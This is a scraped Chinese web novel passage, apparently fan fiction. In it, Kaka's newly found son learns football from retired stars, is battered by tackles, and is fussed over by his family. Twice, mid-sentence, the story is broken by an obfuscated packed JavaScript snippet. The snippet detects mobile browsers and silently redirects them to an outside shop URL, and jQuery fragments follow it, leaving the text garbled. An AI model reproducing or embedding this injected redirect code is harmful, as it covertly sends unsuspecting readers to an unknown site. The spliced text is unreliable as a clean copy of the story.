马捷理的热情让王富贵有些招架不住,只能不情不愿的跟着马捷理来到了球场中间,这里离球门至少五十米。 “咱就先在这里热热身。” “嗯。” 马捷理也很无奈,但是球门那里的那群大佬,他可一个都得罪不起,跟他们抢球门?那简直是在做梦,要知道他们出名的时候,自己还不知道在哪玩泥巴呢。 王富贵虽然昨天晚上恶补了一些规则,但是真正碰足球,这还是第一次。 所以马捷理将他带到这里,他完全没有感到奇怪。 “咱们先练习接球。”马捷理说玩将球踢向半空。 王富贵的目光追着球飞向半空,然后下坠。 在球与马捷理头一般的高度时,他微微抬起左肩膀,球就那样灵活的落到他的左肩上,然后顺着他的胸口,一路朝下,最后稳稳的被他的脚背接住。 整个动作行云流水,优美极了,看的出来练习过很多次了。 “很厉害。” “一般,一般。”马捷理很谦虚。 “那你要不要试试?”马捷理将球停在自己脚下,转头对着王富贵问到。 “试。” 最为一个练了十多年八段锦,太极拳的人,王富贵自认为自己身手不错,就算从未接触过足球,他也能踢得很好。 但是很显然,他错了。 球比他想象的要轻,还要难控制,他的力气太大,球直接窜上了天,半天不见掉下来。 “哎?球呢?”马捷理有些疑惑的看着天空。 卡卡的目光追随者王富贵,他和大罗早就发现两人在干什么。 卡卡本来想上前的,结果被大罗阻止。 他用胳膊捅了捅卡卡揶揄的说道:“你看,这一放手,马上就交到朋友了。” 没办法,卡卡只能停下脚步,他带王富贵出来,也是觉得他一个人太孤单了。 卡罗琳娜和孩子们似乎并没有要和王富贵深入接触的想法,王富贵显然也是这么想的,这就导致,除了卡卡和迪甘,王富贵没有一个人陪他说话。 大罗观察着球场的动静,他的儿子不少,却没有一个人继承了他的天分。 其实大部分球员都是如此,父亲踢得好不代表儿子也踢得好。 他想看看王富贵有没有继承到卡卡的天分。 在看到马捷理的接球时,他的眼神一亮,看不出来,那小子球技还不错,就是缺乏了点美感。 然后就是王富贵,看他一脚把球踢向半空,半天也没见球下来后,他笑着捂住肚子蹲下来,不行,肚子疼,多半是笑岔气了。 “你儿子这是踢球还是踢仇人呢?”大罗蹲在地上感慨。 然后,王富贵动了,他往后稍微退了一点,挺起胸,双脚微微岔开,在半空中的球砰的一声后也稳稳的落到他的肩膀上,然后从胸口滑落,他复制了马捷理的整个动作,甚至还自动调整了动作,让它更适合自己。 王富贵的足球天赋很高。 大罗在心里说道。 别人不知道,他确是知道的,王富贵今天是第一次接触足球。 “啊,你是不是在扮猪吃老虎?刚才还骗我是第一次踢球!”马捷理看着稳稳停在王富贵脚背的球,瞪大了眼睛。 “我真的是第一次踢球。”王富贵并不在乎马捷理相不相信。 然后马捷理道歉了:“兄弟,不好意思,我不应该怀疑你,你可真是个天才,要知道这个接球我可是整整练了一个星期,才成功接到人生的第一颗球。” 突然被夸让王富贵有些不好意思。 他本来以为,自己那样说,这个大个一定不会再理自己了。 原来外国人都是这样热情的吗? 接着,马捷理又展示了运球,踢球,顶球,还有抢球,每一项王富贵都学习的很完美,极大的满足了马捷理第一次当老师的虚荣感。 两个人玩的不亦乐乎。 马捷理看着球门,有些遗憾,这里离球门太远了,不然自己一定要向新交的朋友炫耀炫耀他的射门技术。 王富贵擦了擦额头上的汗,说实话,他感觉足球非常有趣,他在踢球的时候,好像将自己的烦恼全都忘记了,心里眼里,只有眼前的那颗球。 “王,看见那球门了吗?”马捷理指着远处的球门,那门前站着十多个老大爷,还在那里叽叽喳喳。 “看见了。”王富贵疑惑,不知道他为什么让自己看球门。 “其实,在球场最重要的就是射门,你是没有体验过射门的感觉,你感觉棒极了,我敢肯定你知道经历过一次,就一定会爱上它。” “射门?”王富贵看着球门它距离自己大概五十米左右,球门前那群老头还在,密密麻麻的人头,将球门堵得严严实实,想要射门很难。 但是,也不是没有机会,王富贵仔细观察着人群,发现在球门的左上角,那里似乎是可以进球? “或许自己可以试试。” 抬腿,抽射,在脚背接触球的一瞬间,球直接飞了出去,似乎还带着破空声。 卡卡:“……” 大罗:“……” 马捷理:“w(?Д?)w” 完了,要死老头了…… 然后,他又反应过来,这里离球门可是有五十多米,球门还有那么多人挡在外面,就算是他也射不进,王第一次接触足球,怎么可能进。 球直直的从球门的左上角飞进球门,他完美的避开了人群,飞进了球门后被网拦住。 马捷理:“(#>д<> “嘶”大罗倒抽了一口冷气。 “卡卡,卡卡,你看到了吗?” 他捏住卡卡的胳膊站起身,激动的手舞足蹈,四肢抽搐般疯狂舞动。 “我看到了。” 卡卡也顾不上手上的疼,他的脸色发红,纯粹是气的,气王富贵竟然那么莽撞,球门前有这么多人,他还敢射门?但凡踢射偏,按照刚才那球的力度,那球 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849829|211803||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 能直接将人送走。 风和日丽,是一个适合打孩子的天气。 马捷理激动地一把搂住王富贵,然后他就看见了自己老爸那张铁青的脸,还有他那亮到反光的脑门,他老爸早上在镜子前精心摆弄的假发,现在早就不在当初的位置,而是孤零零的躺在地上。 死定了,他脑海里只剩下这一句话。 他一把抓起王富贵的手,大声喊道:“王,快跑。” 姜还是老的辣,在看出马捷理的意图后,马捷理的父亲修斯直接把自己亲儿子暴力镇压。 “daddy,daddy,我错了。”马捷理不走心的求饶。 忽略了马捷理嘴里的求饶,修斯邦邦就是两拳。 孩子不打,上房揭瓦,这不只是一天不修理,就让自己在这么多人面前颜面扫地。 王富贵这个时候也知道自己闯了祸,他拦住了修斯还想继续的拳头。 “这位大叔,请您住手,打人是犯法的,这件事情事我做的,我现在向您道歉。” “哦?球是你踢的?” 修斯早就知道眼前这个男孩的传闻,今天一看,这和卡卡长的也不像啊?反而像是一个只会闯祸的坏小子。 “是我,您的假发也是我弄掉的。”王富贵有些不自在的回答。 “那你知道我的假发为什么会掉吗?”修斯看出了他的不自在,露出了一个爽朗的微笑,锃光瓦亮的脑门吸引了王富贵的全部注意力。 “是我踢球踢到您了。” “放屁,我的假发会掉,是因为这个臭小子,在家里偷换了我的胶水和发网,他今天就是故意想要让的老子在这里出丑,小子你只是被卷进来的一个无辜路人。” “今天这事和你没有关系,现在我要锤碎这个不孝子。”说完,马捷理又被邦邦揍了两拳。 其他人早就对于兰伯特父子之间的相处方式感到习惯,尤其是大罗,看到这一幕,开口感慨道:“修斯的力气真是不减当年啊。” 卡卡很欣慰,王富贵主动认识到自己的错误,正好省了自己动手,毕竟他也不是很擅长打孩子,或者说他从来没有打过孩子。 然后,在众目睽之下,王富贵不受控制般伸出手,在修斯的脑门上狠狠地rua了一把。 速度快的让还在打人的修斯都没反应过来。 “手感真好。” 王富贵呆呆的看着自己的手,不明白自己怎么会没控制住,为什么会去rua一个陌生大叔的光头啊!! 他简直要崩溃了好嘛!!! 这下众人揶揄的目光全都向着卡卡飘来。 这一看就是亲儿子啊,不仅长得像,就连爱好也一致,都喜欢摸头,尤其是光头。 “哈哈哈哈哈哈哈哈哈。”大罗这下是彻底撑不住了,他丝毫不顾及形象的坐到地上,拍着大腿哈哈大笑起来。 “卡卡,哈哈,哈,真是没想到,你儿子不仅继承了你的足球天赋,还继承你这兴趣爱好。” “以后让他来我的球队踢球,我可以给球队的每个人都剪成光头,所有人的头,都任他摸。” 12. 第 12 章 卡卡震惊的瞪大眼睛,似乎是没想到昔日的老大哥这么没有下限。 这个诱惑,显然是非常大的。 只不过,卡卡并不会在这件事情上替孩子做主,孩子想要做什么,他也不会干涉,就算王富贵在足球上的天赋远超过自己。 而且,他也没忘记,王富贵的梦想是当个男巫。 卡卡不得不承认,那可真是一个糟糕无比的梦想。 刚才那惊艳的一球可不止是大罗一个人看到了,听到大罗想要把人拐走,当即都跳出来,想要介绍自家。 结果他们的话都被卡卡以“孩子还小打发过去了。” 王富贵看着身边的卡卡,表情带着小心翼翼的道歉:“卡卡,对不起,我不是故意的。” 看着这样的王富贵,卡卡觉得心都软。 然后他就听王富贵继续说道:“刚才那个大爷是谁啊?我感觉他脾气挺暴躁的,我要是一会又摸了他的头,他不会打我吧?” 卡卡“……” 我看你不仅是有意的,还死不悔改,想要二次做案。 不过,他也有些好奇,修斯的光头是什么手感。 “裁判来了,裁判来了。”声音打破了两人之间的沉默。 王富贵尴尬的转过头,就在刚才,电光火石之间,他看懂了卡卡眼里流露出来的意思。 其实所有人都明白,但凡是真的想要在足球上走的更远,只能去五大联赛,但是也许卡卡儿子就是比较另类呢,不过这都是训练完之后的事。 既然裁判来了,他们也要为一会的训练赛做准备。 要知道他们虽然踢的是“老头杯”但还是有人买票来看的,到时候表现不好,丢脸的还是自己。 卡卡和大罗并不会参加这次比赛,所以他们带着王富贵坐在观众席上,卡卡也想就此观察下,王富贵到底对踢球感不感兴趣。 很快,换好衣服的老头们分成两排站在球场中央,他们挨个握手拥抱,脸上都带着笑容,看起来关系很好的样子。 然后,王富贵见识到了什么叫做真正的足球。 或许这些老头们年纪已经大了,或许他们的体力支持不了他们踢够九十分钟全场,但是,谁也不能否认他们的技术。 球员带着足球在赛场上奔跑,就如同在花朵上翩翩起舞的蝴蝶,灵动飘逸,足球在他们脚下,就如同有了灵魂一般。 过人,长传,射门,一整个进攻行云流水,反击也来的同样猛烈狂暴。 短短的二十分钟,赛场上的两只球队就已经交锋了三次,但最后都被门将给扑救回来。 王富贵还在里面看见了马捷理,他果然在当守门员。 而他爸爸修斯,并没有参加比赛,而是和他们一样,在观众席上观看。 在看到马捷理的表现后,欣慰的点点头。 虽然球场上没有人会不想进球,但是还是要找准自己的位置。 修斯之所以带着马捷理来,就是为了磨炼他的技术,要是到,赛场上的人全都是征战球场十几年的老将,而马捷理现在最需要的就是经验。 而且,他看向观众席的王富贵,这不就有意外收获了,他有预感,马捷理会收获一个最好的朋友。 今天的比赛十分激烈,马捷理双手颤抖,眼睛跟随着球移动。 他知道自己没有特别好的天赋,技术也不是顶尖,全靠着努力才能加入一线队伍,而父亲一直想让自己转型成门将,可是,那个球员不想射门呢? 他不是说门将不好,可是,他才十九岁,现在转型,他不甘心。 时间过得很快,上半场结束,比分还维持在0:0,双方都累的气喘吁吁的,今天不同于以往那些友谊赛,训练赛,他们是真的拿出了最好的状态,就是想在王富贵跟前显摆显摆。 毕竟他们任何一个人都是球队的大股东。 王富贵的眼睛亮晶晶的看着球场,他有些理解卡卡为什么会喜欢足球,这项运动了,在球场上,他能感到自由的感觉,会替没有进球而感到可惜,会因为有人犯规而感到气愤。 “喜欢踢球吗?”卡卡的声音在耳边适时响起。 “喜欢。”王富贵回答的毫不犹豫。 “喜欢的话,一会我可以教教你,我的绝招。” “好啊。”王富贵在昨天晚上看了不少卡卡的比赛视频,赛场上那个大步流星的身影,给他留下了深刻的印象。 “还有我,我也是很厉害的。”大罗也在一旁添油加醋,“我过人比你爸过人还厉害,铲人更厉害,一会被我铲哭可不要哭鼻子啊。” 王富贵本来以为他们两个人只是在开玩笑。 谁知道在比赛结束后,卡卡两人竟然换上了专门的球衣,还专门给他塞了一件,让他也赶紧去换。 干嘛搞得这么正式? 王富贵有些摸不到头脑。 不过他还是乖乖的去换了衣服。 现在球场上只剩下他们三个人,卡卡的教学简单粗暴,在高速启动后,他就带球奔跑起来,而跑的方向正好是球门,大罗负责拦截卡卡,并没有过于花哨的动作。 王富贵看出大罗三番两次想要从卡卡脚下把球抢过来,但都被卡卡躲了过去,那球就好似卡卡身体的一部分。 大罗还想阻拦,卡卡却突然加速,直接打了大罗一个措手不及,卡卡带着球直奔球门,然后,抬脚,射门。 看完全程的王富贵捂住砰砰直跳的心脏。 那一刻,在他的眼里,卡卡全身都冒着金光,帅气极了。 “看明白了吗?”卡卡的声音在耳边响起。 王富贵傻傻的点头。 “好,现在你来试一次。” “啊?”王富贵这才回过神来,难以置信的指着自己问到:“我?试?” “对。” 啊,天知道,他刚才光顾着看卡卡的脸了,完全忘了卡卡的动作。 似乎是看出了王富贵眼中的迟疑,大罗安慰道:“放心,大侄子,我会手下留情的。” 只不过话的真实性,那就只有他自己知道了。 王富贵硬着头皮运球,模仿着卡卡的动作跑了起来,大罗就在这里等着他,在大罗眼里王富贵的速度就如同蹒跚学步的幼童,从他脚下铲球易如反掌。 “砰。”王富贵直接被撞飞,球被大罗铲走就算了,大罗还对他露出了一个嘲讽的微笑。 “再来一次。”王富贵拍拍屁股上的草屑和吐,站起身。 大罗有些微微惊讶,他本来以为王富贵被自己铲倒,怎么也得过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849830|211803||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 一会才能站起来,现在看来,这孩子的身体素质,比自己想的还要强。 两分钟之后,王富贵脚下的球就又被抢走,他又重重的摔在草地上。 他再次站起来,眼睛里带着光说道: “再来。” “砰” “再来” “砰” “再来” “砰” “……” 大罗能感受到,每一次被铲飞后,王富贵都在进步,他的速度越来越快,球也越来越灵活。 这天赋,只能说不愧是卡卡的儿子。 卡卡看着那一次次倒下又站起的身影,他穿着自己以前的球衣,并不是十分合身,左耳的钻石耳钉在空中划过一道五彩的光芒,他的眼神变得恍惚,眼前的这道身影渐渐地与另一个人重合起来。 不过,很快他又回过神来。 “不行了,大侄子,咱们歇一会。”大罗一屁股坐在地上,看着身边散发着战意的人,有些无奈,这小子,跟他爸爸一样,都是这么在意输赢。 他摸了摸自己酸胀的大腿,看着王富贵的眼神更加热切,他明确的知道,只要王富贵走上球员的道路,未来的成就会比肩自己,或者会更高,甚至会是“球王”? 卡卡这是生了个什么大宝贝啊。 马捷理也洗漱完回到了场上,他拿着纸笔很腼腆的要了卡卡的签名,转头就看见自己新交的朋友,像个破布袋被踢来踢去,然后顽强的站起来。 好强大的生命力,要是自己一定已经被踢死了吧? 修斯也跟着几个老朋友走了过来,看到坐在地上的大罗,又看着站在一旁的王富贵,对这大罗打趣道:“前几天还说自己不老,现在陪小孩玩几分钟就站不起来了?” “你……” 大罗本来就和这个美国佬不对付,这下鼻子差点气歪,他狠狠的回怼道:“我老,你年轻,你来。” “我和你说,我大侄子可是天才,一会儿当着你的面过人,你个五十岁老大爷可别当着小辈哭鼻子。” 修斯很感兴趣的接过了大罗的挑战。 刚才那个精彩的进球,让他对王富贵很感兴趣。 王富贵捋了捋自己湿漉漉的头发,对于换人他没有任何想法,要是可能,他更希望和卡卡一踢的,但是卡卡在刚才就拒绝了他。 理由竟然是:一想到王富贵是自己儿子,就会下意识的收起力道? 王富贵很怀疑卡卡在驴他。 修斯看着王富贵,第一眼就看见了王富贵的这张脸,说实话,在第一次见卡卡的时候,他就想过,这长脸,踢球简直太可惜了。 现在看到王富贵,他不得不再感叹一次。 王富贵其实很兴奋,踢球的感觉,就像是当初跟着老王头进山采药时得感觉。 作为小作坊,有些贵价药材一直就是他们自己采,一到寒暑假老王头就经常带着他去大山深处,一去就是十多天,为了获得新鲜的药材,还带着他与野猪群搏斗过,被野狼群追赶过,被老虎盯上过,不仅惊险,而且刺激。 那是他们生活的常态,后来还是几个驴友看见个老大爷带着个孩子被狼追报了警,这种生活才被迫结束。 王老头还因为擅闯无人区被罚了五千块钱。 13. 我没有天赋 修斯一开始只是抱着玩玩的心态,别人可以说他老了,踢不满全场了,但是谁敢说他们这些老将技术不好? 但现在他感觉自己碰到了硬茬子,不是说王富贵的技术有多精妙,恰恰相反,他看的出来,王富贵的动作青涩极了,在他们这种老将眼里根本不够看。 但,他在进步,修斯能够感觉到,这个孩子的下一个动作,永远比上一个动作更加熟练,更加灵活,跑动的速度也更加快。 他能感觉到自己的力量在流失,他是对面的人,除了那满头的汗,速度却更快了。 这要是在真正的球场上? 修斯一想到,就全身打了个寒战,这样的体力,和身体抗击打能力,绝对会成为球场上所有人的噩梦。 一会儿后,修斯坐到了大罗旁边,按摩起自己那两条酸疼的老腿迎来的大罗的无情嘲笑。 王富贵面前换了一个新大爷。 王富贵“……” 王富贵感觉自己身上疼疼的,又感觉大爷的眼睛亮亮的。 在二十二个大爷的轮番攻势下,王富贵被迫学会了,扣球变向,脚底拉球,变速过人,穿裆过人等一系列小技巧。 真是感谢各位大爷的友情贡献,看着毫无形象坐在地上的大爷们王富贵在心里默默想到。 就是自己身上的球衣,看着破破烂烂的球衣,王富贵心里有些难过,他看到过卡卡是怎么宝贝这件球衣的,现在被自己穿成了这个样子…… 要不然去去问问迪甘吧,问问他现在还能不能再买一件一样的衣服? 可恶,到时候迪甘知道他被踢得这么惨,一定会笑话他的。 真不愧是卡卡的儿子,这种体力完全就是披着人皮的野兽,再加上那无与伦比的学习能力,未来的足球界必定会有他的位置,在坐的所有人心里都发出这样的感慨。 卡卡带着脏兮兮的王富贵去洗漱。 在路上,卡卡看着王富贵胳膊腿上的青青紫紫,语气带着藏不住的哽咽:“疼不疼?” “不疼,这也就是看着严重,其实一点都不严重,我好着呢。”王富贵摇了摇头,他撒谎了,就算他在怎么皮糙肉厚,也是会疼的,就是这次他太兴奋了,才没能控制住。 下次一定要小心点,不能让卡卡为自己担心,王富贵在心里暗暗发誓。 “你的球衣,被我弄坏了。”王富贵说的小心翼翼的,他能感觉到卡卡现在的心情不是很好,他刚才一直在小心翼翼的隐藏球衣后背的那条大口子,也是终于藏不住了。 “我一定会买一条一模一样的球衣还给你的。” 破破烂烂的球衣连同着后背一同暴露在卡卡眼前,那是比胳膊腿上很严重的恐怖的青紫,浓重的紫刺激着卡卡的眼睛,他伸出手摸着那些伤痕语气轻轻的:“球衣不重要,你才是最重要的,答应我,不要再受伤。” 冰冰凉的触感让王富贵打了个哆嗦。 那手指好似有魔力,被他摸过的地方,比小时候被熊瞎子拍到树上后,王老头给的抹的药还要有用。 他赶紧点点头,嘴里还在小声嘀咕:“我真的没感觉多疼,不过我下次一定会小心的。” “很喜欢踢球吗?” “嗯。”王富贵点点头,这是他第一次接触足球,平心而论,他是真的很喜欢踢球。 “那有没有想过当足球运动员?” “足球运动员?”王富贵傻了眼,这么草率的吗?自己可是第一次接触足球啊,就想到要让自己足球运动员了吗? 难道这就是有个足球巨星爸爸的好处吗? 运动员是想当就能当的吗?自己的才上了九年的学。 今天,自己被那么多老大爷拦着,一个球都没有踢进网。 就这烂技术,一定会被人嘲笑的,到时候别人一定会笑着说:“看啊,就是那小子,还是卡卡儿子,踢得那么烂,他爸的巨星名号肯定也有水分。” 要不就是说,卡卡生了个傻儿子…… 哦,那简直太糟糕了,想想就可怕。 不过他并不想敷衍卡卡,所以还是对卡卡说道:“我虽然喜欢踢球,但是对于当运动员这件事,我并没有什么想法,我想当中医的。” 自己去深山里采药什么的帅爆了好嘛!!!就是现在已经不合法了,不让干了。 哦,卡卡又想起来,王富贵想要当男巫的愿望,想到他那满身青紫,或者他当一名中医也是蛮好的,至少不会受伤。 卡卡尊重孩子的意愿。 等两人洗漱完,却发现所有人都没有回去,正堵在门口眼巴巴的看着他们。 卡卡:“?” “大家在这里干什么?”卡卡疑问不解的开口。 “我们就是想问一下,这孩子的职业规划?将来是要打五大联赛?有意向签约哪家豪门?”修斯率先开口问到。 大罗本来也是一心希望王富贵能和自己的球队签约的,但是看到王富贵的天赋后,他又感觉,要是王富贵真的和自己签约,那真是可惜了王富贵了。 他感觉自己在和良心战斗。 “没有,我家孩子没有做足球运动员的打算,他只是对足球有些兴趣而已。”卡卡开口说道。 如果刚才王富贵说自己相当足球运动员,卡卡绝对会拼尽全力,给自己的孩子拼出一条庄康大道,绝对不会让他重复自己的老路。 但是在王富贵拒绝后,他也能毫不犹豫的开口断绝所有人的念想。 他愿意为了孩子付出自己的一切。 大罗:“大吃一惊” 修斯:“头脑一片空白。” 哦,卡卡,你真是吓到我们了。 所有人的表情都是如出一辙的吃惊。 不是,卡卡想要做什么,他不知道,他儿子是天生的足球运动员吗?那看那腿,就是足球运动员的腿,那胳膊,就是足球运动员的胳膊,要不然还是把这孩子偷过来算了? 此刻,所有人的内心都只有这一个想法。 “大侄子,你想不想再要个新爸爸,你看我怎么样?”大罗率先开口。 王富贵:“w(?Д?)w” 不是,你在说什么呢?大爷? 王富贵恨不得跳到大罗身上,捂住他的嘴。 这就是奔放的外国吗? 其他人看到大罗行动了,也纷纷响应,表示,他们都可以当王富贵的新爸爸。 二十多个人围着王富贵,想 让他换个爹?这是什么可怕的噩梦哟! 王富贵:“(#>д<> 他好想逃,却逃不掉。 这些人为什么这么突然想要当自己爹啊?难道是想占自己便宜? 似乎是看出他大大的眼睛里那大大的疑惑。 大罗才恍然,王富贵可能根本就没有明白他们的意思。 “我的意思是想要做你的教父,卡卡不让你踢球,我让你踢。” 教父?那不就是干爹嘛, 这些人干嘛想当自己干爹啊?难道是什么外国偏远礼仪? “卡卡没说不让我踢球,是我自己没有想过做足球运动员。”王富贵开口解释。 “为什么啊?”大罗问出了所有人的疑惑。 “因为我感觉我在足球上没有天赋。”王富贵完全没想过自己的话给在场的心造成了怎样的轩然大波。 不是,你没天分?你没天分,那谁有天分?谁说的你没天分,这是赤裸裸的造谣。 造谣的人良心真是坏透了。 大罗捂着被气的狂跳的心脏,勉强平复了心情后,才开口问到:“大侄子,是谁和你说,你没有天分的?” “这还用说?”王富贵翻了个白眼,这整整一天,这群大爷们和逗小孩似得逗自己,自己一个球都没进,还不能说明什么吗? “……” 所有人这才反应过来,原来他们才是罪魁祸首吗? 可是,他们都是老将,被一个第一次接触足球的孩子过了,传出去的话,他们不要面子的吗? 他们这才反应过来,自己刚才是不是在欺负小孩。 看把人小孩欺负的都不自信了。 “孩子,你别妄自菲薄,其实你很有天赋。”修斯抿了抿干巴巴的唇,开口解释。 王富贵给了大爷一个“谢谢啊,大爷你可真善良的,现在还安慰我”的眼神。 卡卡气笑了,他是怎么也没想到,王富贵不想踢足球,竟然是这个理由,同时又有些自责,自责自己刚才为什么没有问的更具体一些。 孩子,你信我啊,我从来不骗人的。修斯在心里大喊道。 眼看解释不清了,修斯干脆拦住卡卡,开口说道:“卡卡,我知道你想尊重孩子,但是作为一个父亲,我还是要说,既然当了父亲,做孩子的指路灯塔,和甩手掌柜是不一样的。” 卡卡明白了修斯的意思,郑重的点点头。 “我明天还会带着富贵来踢球。”他开口说道。 不是,还来?王富贵傻眼了。 卡卡开车艰难的朝着酒店的方向行驶,王富贵在副驾驶上清点药材,他身上的伤必须要抹点药油,不然明天别说踢球,下炕都费劲。 然后等他回到酒店,就看见至少十个医护人员。 “不,这是不是有点太夸张了?”王富贵忍了半天还是没忍住。 然后他就对上了西蒙妮含泪的脸。 这个慈祥的女人摸着王富贵的头,对着卡卡质问:“你就是这么带孩子的?就是这么当爸爸的?早上出去还好好的,和你踢一次球,脸都踢变形了。” 王富贵:“……” 我可真谢谢您啊,我的亲奶奶。 14. 神厨小富贵 迪甘在接到哥哥找医疗团队的消息的时候,本来也觉得哥哥有些夸张了,然后就看见了浑身青青紫紫的王富贵,除了那张脸没被伤到,其他地方几乎就没有一块好肉。 迪甘:“……” “卡卡,你不是带着富贵去踢球了?”迪甘的语气里带着疑惑看着王富贵,“难不成是你又迷路把人带散打俱乐部了?” 西蒙妮想到卡卡的路痴属性,感觉也不是不可能,埋怨的锤了卡卡两下,这死孩子,知道自己不认路,还非得带着孩子去踢球。 和他们一起去教堂礼拜多好,还能培养感情。 她昨天在看到王富贵的第一眼,就不受控制的想要亲近他,明明在来的路上一直忐忑,想着见到这个孩子要如何相处,想的一路上都没有休息,多么神奇的血缘关系啊。 明明从小就流落在外,看到的第一眼竟然也不觉得陌生,反而有一种残缺终于圆满的满足。 周末一家人去教堂是多好的亲近机会啊,非得踢什么足球,出去还是乖乖大孙子,回来脸被打的和渣男似得。 迪甘察觉到了卡卡的紧张,端详了王富贵的脸一刻钟后,发现他妈纯属夸张,这张脸出去什么样,回来不还是什么样,不就是换了个发型。 卡卡不是也换了个发型? 哎?迪甘这才反应过来,卡卡剪头发了? 多长时间了?卡卡自从挂靴以后,就不再注重自己的外表,如果不是还要出门见人,绝对会把自己弄成山顶洞人。 他们劝说过,卡卡也只是敷衍。 现在卡卡竟然主动去理发了?还剪了亲子头? 王富贵有心想要给卡卡解释,怎奈他现在也是自身难保,十几个医护人员将他团团围住,将他拔的只剩下一条底裤,这还是因为在场的还有小朋友和王富贵奋力挣扎的缘故。 王富贵捂着自己的海绵宝宝底裤,脸色涨的通红。 想到以前他给那么多小孩打针的时候,那些小孩的尖叫,他现在也好想尖叫啊!!! “男孩子运动难免会磕磕碰碰。”迪甘劝道。 卡卡看着王富贵身上的痕迹,也是充满了心疼,王富贵身上的伤比他想的还要严重,在车上发现那些青色痕迹变成紫色淤血的时候,他恨不得直接开车去医院。 如果是十八岁的自己,现在一定已经对着父母哭唧唧的抱怨,踢球太累。 真不敢想,他以前过得是什么样的生活,才养成如此懂事的性格。 王富贵感觉自己像是那粘板上的肉,被医护人员翻来覆去的摆弄,他本来是想要拒绝的,废话,他本来就是中医,他认为自己的医术配合自己配的药,效果绝对不会比这些西医的差。 可是他想到了卡卡。 在看到他褪下球袜的大腿变紫后,卡卡的情绪就变得不对劲,那种惶恐害怕的表情浮现在他的脸上,让他几乎握不紧方向盘。 王富贵发现了卡卡的异常,担忧的问到:“卡卡,你是不舒服吗?” 声音唤回了卡卡的神志,他明白刚才他肯定有没有控制好自己情绪,这些年他已经能很好的控制自己的情绪,几乎没有如此失态过。 富贵会不会看出来?看出他的爸爸是个精神不正常的人。这样想着,他抬起惨白的脸望向王富贵。 王富贵的脸上充满了担忧,他局促的扣了扣青紫色的腿:“这就是看着严重了点,其实一点也不严重的,我以前受的伤比这严重多了,两天就能好。” “你别生气,我下次会小心,不让自己受伤的。” “你不要伤心了。” “是我的错,是我作为父亲的失职,在你受伤后竟然没发现。”卡卡深吸了口气开始道歉,他真的亏欠这个孩子很多很多。 “不是你的错。” “是我的错。” “我的” “我的才对。” …… 接下来的路程就在两个人相互道歉悄然流逝。 王富贵知道,现在绝对不能刺激卡卡,他的情绪,受不得一丝刺激。 等到这些医生检查完,自己必须马上去煎药。 在留下“只是受了些皮外伤,没有伤到骨头”后,这些医护人员有条不紊的消失在房间里。 所有人都松了口气,西蒙妮语重心长的说:“卡卡,我知道你对足球的热爱,但是这不是你把自己的爱好强加给孩子的理由。” “在你小时候,我曾经想过,你会成为一个商人,或者是一个老师,但是在你说自己想要踢球的时候,我也是支持你的,就算那并不是我们所希望的,因为我们只想要你快乐,只要你能够快乐,那就够了。” “我希望你也能像当初的我们那样尊重你的孩子。” “妈妈,我明白你的意思……” 王富贵打断两个人的对话,他一边手忙脚乱的穿衣服,一边开口解释:“奶奶,这件事并不是卡卡的错,是我贪玩,没有注意自己的身体,卡卡为此已经很难过了,请大家千万不要怪他。” “而且,我是真的很喜欢踢球,卡卡并没有强迫我踢球,他今天还问过我想不想当足球运动员,我拒绝了,因为我还没有想好自己今后的路,我不知道一时的热爱会不会成为我坚持下去的动力,但是我想,我明天还会去踢球,不管会不会受伤。” “因为,我想找到我以后的人生的道路。” 西蒙妮震惊的看着王富贵,在心里不短的呐喊:“妈啊,孩子叫我奶奶了。” 卡卡感动的看着王富贵,他没想到孩子会这么直白的站在自己这边,为自己说话。 迪甘,好吧,迪甘也很震惊,震惊卡卡竟然会问王富贵想不想当足球运动员?还有王富贵都要成年了还穿卡通内裤!!他明天一定要好好笑话他。 为了掩饰尴尬,西蒙妮和所有人到了晚安后就回去休息,卡罗琳娜也带着孩子们离开,他们的早就已经在教堂吃完了饭,其中也包括了甘迪。 听到两人还没吃饭,迪甘叹口气,今天酒店的晚餐时间也已经结束,世界杯期间,外卖也慢的要死,至于现在出去吃? 上帝啊,他怕两个人会找不到回家的路。 没办法,他撸起袖子,走进厨房。 虽然他做的食物不是很美味,但和卡卡相比,至少不会有要命的风险,卡卡的水平也就是能切个果盘的水平。 而王富贵,那可是病人,自己再怎么丧心病狂,也不能 让病人给自己做饭。 不一会儿,迪甘就端出了两个盘子,盘子上是一份米饭,饭上还铺满了黑黑的豆子。 “这是什么?”将药材装进砂锅后,王富贵一抬头就看见了这一坨色香味俱无得东西。 “黑豆饭。”卡卡拿起勺子回答:“迪甘的手艺很不错,你快来尝尝。” 这黑豆怎么长得巴里巴气的,他很怀疑这其实是巴豆饭。 “等我去煮个饮料。”王富贵将砂锅放好后开火,摆弄了半天才掌握了火候。 等他出来的时候,卡卡已经吃完了盘子里的最后一粒米和豆子。 难到自己看错了,这饭真的很好吃?王富贵头一次怀疑起自己的眼睛。 这巴豆饭怎么看都不像是好吃的样子啊,最后王富贵还是不信邪的吃了一口。 “呜,好咸。” “怎么?好吃哭了?”看着王富贵泛红的眼眶,迪甘打趣到。 下一秒,王富贵就将嘴里的饭吐了出来。 他就知道,这巴豆饭,很难吃。 就这样卡卡还觉得好吃?天啊,他以前过得是什么苦日子。 自己刚才应该拦着点卡卡的。 “有这么难吃吗?”迪甘拿起勺子,吃了一小口,然后他也吐了出来。 